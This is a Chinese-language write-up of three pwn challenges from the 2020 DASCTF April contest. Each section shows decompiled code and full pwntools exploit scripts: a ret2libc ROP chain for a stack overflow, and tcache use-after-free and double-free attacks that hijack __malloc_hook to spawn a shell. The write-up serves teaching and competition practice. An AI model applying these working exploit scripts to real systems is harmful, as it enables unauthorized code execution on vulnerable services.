【WriteUp】2020年DASCTF——四月春季战 -- Pwn 题解

echo server

Description:

echo server 如果当前靶机无法访问,还可以访问: 183.129.189.60:10025 183.129.189.60:10039 183.129.189.60:10061

Solution:

程序保护如下:

Arch:     amd64-64-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x400000)

main 函数如下:

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  setbuf(stdin, 0LL);
  setbuf(stdout, 0LL);
  sub_4006D2();
  return 0LL;
}

sub_4006D2 函数如下:

int sub_4006D2()
{
  unsigned int v1; // [rsp+Ch] [rbp-84h]
  char s; // [rsp+10h] [rbp-80h]

  v1 = 0;
  printf("how long is your name: ");
  __isoc99_scanf("%d", &v1);
  printf("and what's you name? ", &v1);
  memset(&s, 0, 0x80uLL);
  sub_4006A7(&s, v1);
  return printf("hello %s", &s);
}

sub_4006A7 函数如下:

__int64 __fastcall sub_4006A7(void *a1, unsigned int a2)
{
  return (unsigned int)read(0, a1, a2);
}

可以看出这个题的意思就是你能向程序里写入你输入的数的长度的字符串

因为有 printf 的 got 表和 %s 的地址,所以直接 ret2libc 完事

一开始程序运行没有 rop3 的脚本直接挂了

考虑到是 glzjin 师傅宣传的比赛,所以默默地加了一个 ret 的地址,成功拿到 flag

exp 如下:

#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *

debug = 2
context(arch='amd64', endian='el', os='linux')
context.log_level = 'debug'
if debug == 1:
    p = process(['./chall'])
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False)
else:
    p = remote('183.129.189.60', 10061)
    libc = ELF('./libc.so.6', checksec=False)
elf = ELF('./chall', checksec=False)
got_read = elf.got['read']
plt_printf = elf.plt['printf']
rop1 = 0x0000000000400823  # pop rdi ; ret
rop2 = 0x0000000000400821  # pop rsi ; pop r15 ; ret
rop3 = 0x000000000040055e  # ret
addr_start = 0x4005C0
addr_fmt = 0x40087b

# gdb.attach(p, "b *0x400767\nb *0x400761\nc")
p.sendlineafter('r name: ', '1000')
pd = 'a' * 0x88
pd += p64(rop1)
pd += p64(addr_fmt)
pd += p64(rop2)
pd += p64(got_read)
pd += p64(0)
pd += p64(plt_printf)
pd += p64(addr_start)
p.sendafter('u name? ', pd)
p.recvuntil('\x08\x40')

addr_read = u64(p.recv(6).ljust(8, '\x00'))

libcbase = addr_read - libc.sym['read']
addr_system = libcbase + libc.sym['system']
addr_bin_sh = libcbase + libc.search('/bin/sh').next()
'''
libc = easyLibc('read', addr_read)
libcbase = addr_read - libc.dump('read')
addr_system = libcbase + libc.dump('system')
addr_bin_sh = libcbase + libc.dump('str_bin_sh')
'''
p.sendlineafter('r name: ', '1000')
pd = 'a' * 0x88
pd += p64(rop3)
pd += p64(rop1)
pd += p64(addr_bin_sh)
pd += p64(addr_system)
pd += p64(addr_start)
p.sendafter('u name? ', pd)
p.recv()
p.interactive()

Flag:

efc5b74ddb1cfc7a80237e46ed288395

sales_office

Description:

买套房吧! 如果当前靶机无法访问,还可以访问: 183.129.189.60:10024 183.129.189.60:10038 183.129.189.60:10060 请提交flag{}/DASCTF{}括号里面的内容

Solution:

程序保护如下:

Arch:     amd64-64-little
RELRO:    Partial RELRO
Stack:    Canary found
NX:       NX enabled
PIE:      No PIE (0x400000)

main 函数如下:

// local variable allocation has failed, the output may be wrong!
int __cdecl main(int argc, const char **argv, const char **envp)
{
  __int64 savedregs; // [rsp+10h] [rbp+0h]

  init(*(_QWORD *)&argc, argv, envp);
  while ( 1 )
  {
    menu();
    read_int();
    switch ( (unsigned int)&savedregs )
    {
      case 1u:
        buy();
        break;
      case 2u:
        decorate();
        break;
      case 3u:
        show();
        break;
      case 4u:
        sell();
        break;
      case 5u:
        puts("bye!");
        exit(0);
        return;
      default:
        puts("Invalid!");
        break;
    }
  }
}

buy 函数如下:

int buy()
{
  int v0; // ebx
  void **v2; // rbx
  int v3; // [rsp+Ch] [rbp-14h]

  if ( num > 12 )
    puts("You have no money.");
  v0 = num;
  area[v0] = (void **)malloc(0x10uLL);
  puts("Please input the size of your house:");
  v3 = read_int();
  if ( v3 > 0x60 )
    return puts("You can't afford it.");
  if ( v3 < 0 )
    return puts("?");
  *((_DWORD *)area[num] + 2) = v3;
  v2 = area[num];
  *v2 = malloc(v3);
  puts("please decorate your house:");
  read(0, *area[num], v3);
  puts("Done!");
  return num++ + 1;
}

show 函数如下:

int show()
{
  int v1; // [rsp+Ch] [rbp-4h]

  puts("index:");
  v1 = read_int();
  if ( area[v1] )
  {
    puts("house:");
    puts((const char *)*area[v1]);
  }
  return puts("Done!");
}

sell 函数如下:

int sell()
{
  int v1; // [rsp+Ch] [rbp-4h]

  puts("index:");
  v1 = read_int();
  if ( v1 < 0 || v1 > 12 )
    exit(0);
  if ( area[v1] )
  {
    free(*area[v1]);
    free(area[v1]);
  }
  return puts("Done!");
}

可以看到 sell 函数中存在 UAF,show 函数能泄露一些信息

libc 是 2.27 的,这题的利用思路点就是劫持 tcache_struct

首先劫持到这个结构体,修改堆块数量,后面调试调试,来确定最终应该改成什么数值

然后没啥写的了,用 tcache bin 多次 double free 就行了

exp 如下:

#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *

debug = 2
context(arch='amd64', endian='el', os='linux')
context.log_level = 'debug'
if debug == 1:
    p = process(['./chall'])
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False)
else:
    p = remote('183.129.189.60', 10060)
    libc = ELF('./libc.so.6', checksec=False)
elf = ELF('./chall', checksec=False)
got_setvbuf = elf.got['setvbuf']
libc_one_gadget = [0x4f2c5, 0x4f322, 0x10a38c]


def add(add_size, add_content):
    p.sendlineafter('choice:', '1')
    p.sendlineafter('f your house:\n', str(add_size))
    p.sendafter('e your house:\n', add_content)


def show(show_idx):
    p.sendlineafter('choice:', '3')
    p.sendlineafter('index:\n', str(show_idx))
    p.recvuntil('house:\n')


def delete(delete_idx):
    p.sendlineafter('choice:', '4')
    p.sendlineafter('index:\n', str(delete_idx))


add(0x50, 'a')
add(0x10, 'a')
add(0x30, 'a')
add(0x30, 'a')
delete(0)
delete(0)
show(0)

heapbase = u64(p.recvuntil('\n')[:-1].ljust(8, '\x00')) - 0x260

add(0x10, p64(heapbase + 0x10))
add(0x10, p64(0xffffff01ff00ff01))
delete(1)
delete(1)

add(0x10, p64(got_setvbuf))
add(0x40, '\xf0')
add(0x10, '\xf0')
show(8)

addr_setvbuf = u64(p.recvuntil('\n')[:-1].ljust(8, '\x00'))
libcbase = addr_setvbuf - libc.sym['setvbuf']
addr___malloc_hook = libcbase + libc.sym['__malloc_hook']
addr_one_gadget = libcbase + libc_one_gadget[2]

delete(2)
delete(3)
delete(3)

add(0x10, p64(addr___malloc_hook))
add(0x30, 'a')
add(0x10, p64(addr_one_gadget))
p.sendlineafter('choice:', '1')
success('heapbase           = ' + hex(heapbase))
success('addr_setvbuf       = ' + hex(addr_setvbuf))
success('addr___malloc_hook = ' + hex(addr___malloc_hook))
# gdb.attach(p)
p.interactive()

Flag:

fb1dc590ab91fe3a7422753161573991

sales_office_2

Description:

libc 版本更换为了 2.29 题目地址: das.wetolink.com:28499 附件地址: https://cos.dasctf.wetolink.com/sales_office https://cos.dasctf.wetolink.com/libc.so

Solution:

这道题和 sales_office 的题目文件一模一样,区别在于 libc 换成了 2.29 的

赛后才做出来,之前想麻烦了,不需要改 tcache_struct

exp 如下:

#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *

debug = 1
context(arch='amd64', endian='el', os='linux')
context.log_level = 'debug'
if debug == 1:
    p = process(['./chall'])
else:
    p = remote('das.wetolink.com', 28499)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False)
elf = ELF('./chall', checksec=False)


def add(add_size, add_content):
    p.sendlineafter('choice:', '1')
    p.sendlineafter('f your house:\n', str(add_size))
    p.sendafter('e your house:\n', add_content)


def show(show_idx):
    p.sendlineafter('choice:', '3')
    p.sendlineafter('index:\n', str(show_idx))
    p.recvuntil('house:\n')


def delete(delete_idx):
    p.sendlineafter('choice:', '4')
    p.sendlineafter('index:\n', str(delete_idx))


got_read = elf.got['read']
libc_one_gadget = [0xe237f, 0xe2383, 0xe2386, 0x106ef8]

for i in range(0, 11):
    add(0x30, 'a')
for i in range(0, 9):
    delete(i)
delete(7)
show(2)

heapbase = u64(p.recvuntil('\n')[:-1].ljust(8, '\x00')) - 0x260

for i in range(0, 3):
    add(0, '')
add(0x10, p64(heapbase + 0x260))
add(0x20, p64(0))
add(8, p64(got_read))
show(0)

addr_read = u64(p.recvuntil('\n')[:-1].ljust(8, '\x00'))
libcbase = addr_read - libc.sym['read']
addr_one_gadget = libcbase + libc_one_gadget[0]

add(0x20, p64(0))
# gdb.attach(p, "b *0x4009FB\nc")
add(0x10, p64(addr_one_gadget))
p.sendlineafter('choice:', '/bin/sh')

success('heapbase  = ' + hex(heapbase))
success('addr_read = ' + hex(addr_read))
p.interactive()

Flag:

THE_FLAG_OF_THIS_STRING

点赞

发表评论

电子邮件地址不会被公开。必填项已用 * 标注